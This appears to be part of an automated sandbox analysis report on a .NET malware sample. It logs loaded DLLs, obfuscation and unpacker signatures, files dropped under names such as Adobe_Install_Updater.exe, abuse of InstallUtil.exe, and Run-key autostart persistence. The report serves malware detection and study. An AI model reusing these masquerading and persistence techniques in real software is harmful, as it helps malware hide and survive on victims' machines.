Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: rthh9q2PDv.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: rthh9q2PDv.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbq source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nHC:\Windows\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3293918454.00000000007F8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: tmp40CA.tmp.exe, 00000002.00000002.2198705352.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2222307639.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004073000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2378744221.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2360009074.0000000002AC2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2472813588.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2438972801.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.000000000375D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2514013335.0000000002C70000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAA000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2667511727.0000000003127000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2708997931.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2778198678.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2747364809.00000000034A8000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbj, source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: tmp40CA.tmp.exe, tmp40CA.tmp.exe, 00000002.00000002.2198705352.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2222307639.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004073000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2378744221.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000D.00000002.2360009074.0000000002AC2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2472813588.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000015.00000002.2438972801.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.000000000375D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2514013335.0000000002C70000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAA000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2550631964.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2667511727.0000000003127000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2708997931.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2778198678.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2747364809.00000000034A8000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbi source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: tmp40CA.tmp.exe, 00000002.00000002.2221990581.0000000006D00000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004256000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.000000000411E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: tmp40CA.tmp.exe, 00000002.00000002.2221990581.0000000006D00000.00000004.08000000.00040000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000004256000.00000004.00000800.00020000.00000000.sdmp, tmp40CA.tmp.exe, 00000002.00000002.2210739147.000000000411E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2478987760.0000000004061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2546370604.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: $]q'AwdWWK5AloC28paBhXS.PDbsRn56IGm56L3AWMn source: Plain_Checker.exe, 00000020.00000002.2514013335.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000035.00000002.2667511727.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003D.00000002.2747364809.0000000003390000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000011.00000002.2458640803.0000000003124000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.2511543162.00000000028F6000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: o.pdb source: build.exe, 00000006.00000002.3293918454.00000000007F8000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: tmp40CA.tmp.exe.0.dr, Qqlgbqkozrj.cs .Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: 0.2.rthh9q2PDv.exe.2d11ffc.1.raw.unpack, Qqlgbqkozrj.cs .Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: 0.2.rthh9q2PDv.exe.2d0ed44.2.raw.unpack, Qqlgbqkozrj.cs .Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: Adobe_Install_Updater.exe.2.dr, Qqlgbqkozrj.cs .Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: 2.2.tmp40CA.tmp.exe.43535e8.5.raw.unpack, TypeModel.cs .Net Code: TryDeserializeList
Source: 2.2.tmp40CA.tmp.exe.43535e8.5.raw.unpack, ListDecorator.cs .Net Code: Read
Source: 2.2.tmp40CA.tmp.exe.43535e8.5.raw.unpack, TypeSerializer.cs .Net Code: CreateInstance
Source: 2.2.tmp40CA.tmp.exe.43535e8.5.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateInstance
Source: 2.2.tmp40CA.tmp.exe.43535e8.5.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateIfNull
Source: 2.2.tmp40CA.tmp.exe.4206a70.7.raw.unpack, TypeModel.cs .Net Code: TryDeserializeList
Source: 2.2.tmp40CA.tmp.exe.4206a70.7.raw.unpack, ListDecorator.cs .Net Code: Read
Source: 2.2.tmp40CA.tmp.exe.4206a70.7.raw.unpack, TypeSerializer.cs .Net Code: CreateInstance
Source: 2.2.tmp40CA.tmp.exe.4206a70.7.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateInstance
Source: 2.2.tmp40CA.tmp.exe.4206a70.7.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateIfNull
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, XmlSerializationHelper.cs .Net Code: ReadObjectProperties
Yara detected Costura Assembly Loader
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.6c90000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.Plain_Checker.exe.6560000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.InstallUtil.exe.6890000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.4178e30.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000003D.00000002.2747364809.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2514013335.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2458640803.0000000003011000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2493360135.0000000006890000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2198705352.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2588879171.0000000006560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2360009074.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2438972801.0000000002970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2221716373.0000000006C90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000035.00000002.2667511727.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2210739147.000000000411E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2511543162.0000000002691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: tmp40CA.tmp.exe PID: 1892, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Adobe_Install_Updater.exe PID: 5836, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6008, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Adobe_Install_Updater.exe PID: 6408, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6668, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Plain_Checker.exe PID: 7092, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Yftssfzf.exe PID: 5680, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Yftssfzf.exe PID: 2460, type: MEMORYSTR
Binary contains a suspicious time stamp
Source: build.exe.2.dr Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06C0870E push FFFFFF8Bh; ret 2_2_06C08710
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06C08720 push FFFFFF8Bh; iretd 2_2_06C08727
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06C08848 push FFFFFF8Bh; iretd 2_2_06C0884F
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06C13283 push es; iretd 2_2_06C13284
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06C10007 push es; retf 2_2_06C1001C
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06C1202A pushad ; ret 2_2_06C1202D
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06D50660 push es; ret 2_2_06D50670
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06D5C750 push es; iretd 2_2_06D5C75C
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Code function: 2_2_06D50006 push es; retf 2_2_06D5001C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 8_2_00C230F9 push ss; iretd 8_2_00C230FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 8_2_00C2418B push ds; retf 8_2_00C24191
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0595C309 push 1C065B1Fh; iretd 13_2_0595C315
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_06040D13 push eax; iretd 13_2_06040D1D
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_060929F0 push es; ret 13_2_06092AA0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_060A202A pushad ; ret 13_2_060A202D
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_06120660 push es; ret 13_2_06120670
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Code function: 13_2_0612C750 push es; iretd 13_2_0612C75C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E418B push ds; retf 17_2_013E4191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_013E30F9 push ss; iretd 17_2_013E30FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_0658727D push es; retf 17_2_06587288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06587236 push es; ret 17_2_06587238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06582B4E push es; retf 17_2_06582B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06587319 push es; retf 17_2_06587334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_065871FF push es; iretd 17_2_06587228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A5FF2 push es; retf 17_2_069A6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A6042 push es; retf 17_2_069A6050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_069A6067 push es; iretd 17_2_069A6068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D531AD push ebx; iretd 17_2_06D531B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D8DA91 push es; ret 17_2_06D8DAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06D8D9C8 push es; ret 17_2_06D8DAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 17_2_06E917C3 push es; ret 17_2_06E917C4

Persistence and Installation Behavior
barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe File created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe File created: C:\Users\user\AppData\Roaming\Yftssfzf.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe File created: C:\Users\user\AppData\Local\Temp\build.exe Jump to dropped file
Source: C:\Users\user\Desktop\rthh9q2PDv.exe File created: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log Jump to behavior

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe_Install_Updater Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yftssfzf
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe_Install_Updater Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe_Install_Updater Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yftssfzf
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yftssfzf

